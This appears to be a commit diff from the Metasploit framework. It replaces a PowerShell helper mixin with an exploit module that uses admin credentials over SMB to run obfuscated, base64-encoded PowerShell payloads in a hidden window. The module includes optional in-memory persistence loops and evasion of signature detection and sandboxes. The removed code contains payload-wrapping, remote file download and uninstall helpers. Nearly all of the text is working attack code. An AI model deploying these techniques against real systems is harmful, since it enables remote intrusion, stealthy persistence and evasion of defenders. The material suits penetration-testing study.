|
1 | 1 | # -*- coding: binary -*-
|
2 |
| -require 'rex/exploitation/powershell' |
3 | 2 |
|
4 |
| -module Msf |
5 |
| -module Exploit::Powershell |
| 3 | +require 'msf/core' |
6 | 4 |
|
7 |
| - class PshScript < Rex::Exploitation::Powershell::Script |
8 |
| - end |
| 5 | +class Metasploit3 < Msf::Exploit::Remote |
| 6 | + Rank = ManualRanking |
9 | 7 |
|
10 |
| - def initialize(info = {}) |
11 |
| - super |
12 |
| - register_advanced_options( |
13 |
| - [ |
14 |
| - OptBool.new('RUN_WOW64', [ |
15 |
| - false, |
16 |
| - 'Execute powershell in 32bit compatibility mode, payloads need native arch', |
17 |
| - false |
18 |
| - ]), |
19 |
| - OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]), |
20 |
| - OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]), |
21 |
| - OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]), |
22 |
| - OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]), |
23 |
| - ], self.class) |
24 |
| - end |
| 8 | + # Exploit mixins should be called first |
| 9 | + include Msf::Exploit::Remote::SMB::Psexec |
| 10 | + include Msf::Exploit::Powershell |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Exploit::EXE |
25 | 13 |
|
26 |
| - # |
27 |
| - # Reads script into a PshScript |
28 |
| - # |
29 |
| - def read_script(script) |
30 |
| - return PshScript.new(script) |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Microsoft Windows Authenticated Powershell Command Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + This module uses a valid administrator username and password to execute a powershell |
| 19 | + payload using a similar technique to the "psexec" utility provided by SysInternals. The |
| 20 | + payload is obfuscated, gzip compressed, then encoded in base64 and executed from the commandline |
| 21 | + using the -encodedcommand flag. Using this method, the payload is never written to disk, and |
| 22 | + given that each payload is unique, is not very prone to signature based detection on the wire. |
| 23 | + Since executing shellcode in .NET requires the use of system resources from unmanaged memory space, |
| 24 | + the .NET (PSH) architecture must match that of the payload. Lastly, a persist option is provided |
| 25 | + to execute the payload in a while loop in order to maintain a form of in-mem persistence. In the event |
| 26 | + of a sandbox observing PSH execution, a delay and other obfuscation may be added to avoid detection. |
| 27 | + In order to avoid interactive process notifications for the current user, the psh payload has |
| 28 | + been reduced in size and wrapped in a powershell invocation which hides the window entirely. |
| 29 | + }, |
| 30 | + |
| 31 | + 'Author' => [ |
| 32 | + 'RageLtMan <rageltman[at]sempervictus' |
| 33 | + ], |
| 34 | + |
| 35 | + 'License' => MSF_LICENSE, |
| 36 | + 'Privileged' => true, |
| 37 | + 'DefaultOptions' => |
| 38 | + { |
| 39 | + 'WfsDelay' => 10, |
| 40 | + 'EXITFUNC' => 'thread' |
| 41 | + }, |
| 42 | + 'Payload' => |
| 43 | + { |
| 44 | + 'Space' => 8192, |
| 45 | + 'DisableNops' => true, |
| 46 | + 'StackAdjustment' => -3500 |
| 47 | + }, |
| 48 | + 'Platform' => 'win', |
| 49 | + 'Targets' => |
| 50 | + [ |
| 51 | + [ 'Automatic', { } ], |
| 52 | + ], |
| 53 | + 'DefaultTarget' => 0, |
| 54 | + 'References' => [ |
| 55 | + [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) |
| 56 | + [ 'OSVDB', '3106'], |
| 57 | + [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ], |
| 58 | + [ 'URL', 'http://sourceforge.net/projects/smbexec/' ], |
| 59 | + [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] |
| 60 | + ] |
| 61 | + )) |
| 62 | + |
| 63 | + register_options([ |
| 64 | + OptBool.new('PERSIST', [false, 'Run the payload in a loop']), |
| 65 | + OptBool.new('PSH_OLD_METHOD', [false, 'Use powershell 1.0', false]), |
| 66 | + OptBool.new('DryRun',[false,'dry run',false]), |
| 67 | + ], self.class) |
31 | 68 | end
|
32 | 69 |
|
33 |
| - # |
34 |
| - # Insert substitutions into the powershell script |
35 |
| - # |
36 |
| - def make_subs(script, subs) |
37 |
| - if ::File.file?(script) |
38 |
| - script = ::File.read(script) |
39 |
| - end |
40 |
| - |
41 |
| - subs.each do |set| |
42 |
| - script.gsub!(set[0],set[1]) |
43 |
| - end |
44 |
| - # if datastore['VERBOSE'] |
45 |
| - # print_good("Final Script: ") |
46 |
| - # script.each_line {|l| print_status("\t#{l}")} |
47 |
| - # end |
48 |
| - return script |
49 |
| - end |
50 | 70 |
|
51 |
| - # |
52 |
| - # Return an array of substitutions for use in make_subs |
53 |
| - # |
54 |
| - def process_subs(subs) |
55 |
| - return [] if subs.nil? or subs.empty? |
56 |
| - new_subs = [] |
57 |
| - subs.split(';').each do |set| |
58 |
| - new_subs << set.split(',', 2) |
| 71 | + def exploit |
| 72 | + command = cmd_psh_payload(payload.encoded,datastore['PSH_OLD_METHOD']) |
| 73 | + if datastore['DryRun'] |
| 74 | + print_good command |
| 75 | + return |
59 | 76 | end
|
60 |
| - return new_subs |
61 |
| - end |
62 | 77 |
|
63 |
| - # |
64 |
| - # Return a gzip compressed powershell script |
65 |
| - # Will invoke PSH modifiers as enabled |
66 |
| - # |
67 |
| - def compress_script(script_in, eof = nil) |
68 |
| - # Build script object |
69 |
| - psh = PshScript.new(script_in) |
70 |
| - # Invoke enabled modifiers |
71 |
| - datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k| |
72 |
| - mod_method = k.split('::').last.intern |
73 |
| - psh.send(mod_method) |
| 78 | + #Try and authenticate with given credentials |
| 79 | + if connect |
| 80 | + begin |
| 81 | + smb_login |
| 82 | + rescue StandardError => autherror |
| 83 | + print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}") |
| 84 | + return |
| 85 | + end |
| 86 | + # Execute the powershell command |
| 87 | + begin |
| 88 | + print_status("#{peer} - Executing the payload...") |
| 89 | + #vprint_good(command) |
| 90 | + return psexec(command) |
| 91 | + rescue StandardError => exec_command_error |
| 92 | + print_error("#{peer} - Unable to execute specified command: #{exec_command_error}") |
| 93 | + return false |
| 94 | + end |
| 95 | + disconnect |
74 | 96 | end
|
75 |
| - return psh.compress_code(eof) |
76 | 97 | end
|
77 | 98 |
|
78 |
| - # |
79 |
| - # Runs powershell in hidden window raising interactive proc msg |
80 |
| - # |
81 |
| - def run_hidden_psh(ps_code,ps_bin='powershell.exe') |
82 |
| - ps_args = " -EncodedCommand #{ compress_script(ps_code) } " |
83 |
| - |
84 |
| - ps_wrapper = <<EOS |
85 |
| -$si = New-Object System.Diagnostics.ProcessStartInfo |
86 |
| -$si.FileName = "#{ps_bin}" |
87 |
| -$si.Arguments = '#{ps_args}' |
88 |
| -$si.UseShellExecute = $false |
89 |
| -$si.RedirectStandardOutput = $true |
90 |
| -$si.WindowStyle = 'Hidden' |
91 |
| -$si.CreateNoWindow = $True |
92 |
| -$p = [System.Diagnostics.Process]::Start($si) |
93 |
| -EOS |
94 |
| - |
95 |
| - return ps_wrapper.gsub("\n",';') |
| 99 | + def peer |
| 100 | + return "#{rhost}:#{rport}" |
96 | 101 | end
|
97 | 102 |
|
98 |
| - # |
99 |
| - # Creates cmd script to execute psh payload |
100 |
| - # |
101 |
| - def cmd_psh_payload(pay, old_psh=false) |
102 |
| - # Allow powershell 1.0 format |
103 |
| - if old_psh |
104 |
| - psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) |
105 |
| - else |
106 |
| - psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay) |
107 |
| - end |
108 |
| - # Run our payload in a while loop |
109 |
| - if datastore['PERSIST'] |
110 |
| - fun_name = Rex::Text.rand_text_alpha(rand(2)+2) |
111 |
| - sleep_time = rand(5)+5 |
112 |
| - psh_payload = "function #{fun_name}{#{psh_payload}};" |
113 |
| - psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" |
114 |
| - end |
115 |
| - # Determine appropriate architecture, manual method reduces script size |
116 |
| - ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' |
117 |
| - # Wrap in hidden runtime |
118 |
| - psh_payload = run_hidden_psh(psh_payload,ps_bin) |
119 |
| - # Convert to base64 for -encodedcommand execution |
120 |
| - command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n" |
121 |
| - end |
122 |
| - |
123 |
| - |
124 |
| - # |
125 |
| - # Useful method cache |
126 |
| - # |
127 |
| - module PshMethods |
128 |
| - |
129 |
| - # |
130 |
| - # Convert binary to byte array, read from file if able |
131 |
| - # |
132 |
| - def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3)) |
133 |
| - code = ::File.file?(input_data) ? ::File.read(input_data) : input_data |
134 |
| - code = code.unpack('C*') |
135 |
| - psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" |
136 |
| - lines = [] |
137 |
| - 1.upto(code.length-1) do |byte| |
138 |
| - if(byte % 10 == 0) |
139 |
| - lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" |
140 |
| - else |
141 |
| - lines.push ",0x#{code[byte].to_s(16)}" |
142 |
| - end |
143 |
| - end |
144 |
| - |
145 |
| - return psh << lines.join("") + "\r\n" |
146 |
| - end |
147 |
| - |
148 |
| - # |
149 |
| - # Download file to host via PSH |
150 |
| - # |
151 |
| - def self.download(src,target=nil) |
152 |
| - target ||= '$pwd\\' << src.split('/').last |
153 |
| - return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^ |
154 |
| - end |
155 |
| - |
156 |
| - # |
157 |
| - # Uninstall app |
158 |
| - # |
159 |
| - def self.uninstall(app,fuzzy=true) |
160 |
| - match = fuzzy ? '-like' : '-eq' |
161 |
| - return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^ |
162 |
| - end |
163 |
| - |
164 |
| - # |
165 |
| - # Create secure string from plaintext |
166 |
| - # |
167 |
| - def self.secure_string(str) |
168 |
| - return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^ |
169 |
| - end |
170 |
| - |
171 |
| - # |
172 |
| - # MISC |
173 |
| - # |
174 |
| - |
175 |
| - # |
176 |
| - # Find PID of file locker |
177 |
| - # |
178 |
| - def self.who_locked_file?(filename) |
179 |
| - return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^ |
180 |
| - end |
181 |
| - |
182 |
| - |
183 |
| - def self.get_last_login(user) |
184 |
| - return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^ |
185 |
| - end |
186 |
| - end |
187 | 103 | end
|
188 |
| -end |
189 |
| - |
0 commit comments